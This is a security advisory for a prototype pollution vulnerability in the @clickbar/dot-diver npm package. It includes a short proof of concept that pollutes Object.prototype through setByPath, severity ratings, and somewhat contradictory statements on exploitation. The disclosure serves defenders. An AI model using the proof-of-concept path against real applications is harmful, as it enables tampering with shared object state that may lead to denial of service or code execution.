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GHSA-9w5f-mw3p-pj47
No affected components available
Summary
There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.
Details
//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277
// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
objectToSet[lastKey] = value
In this code, there is no validation for Prototpye Pollution.
PoC
import { getByPath, setByPath } from '@clickbar/dot-diver'
console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo
Impact
It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.
Credits
Team : NodeBoB
최지혁 ( Jihyeok Choi )
이동하 ( Lee Dong Ha of ZeroPointer Lab )
강성현 ( kang seonghyeun )
박성진 ( sungjin park )
김찬호 ( Chanho Kim )
이수영 ( Lee Su Young )
김민욱 ( MinUk Kim )
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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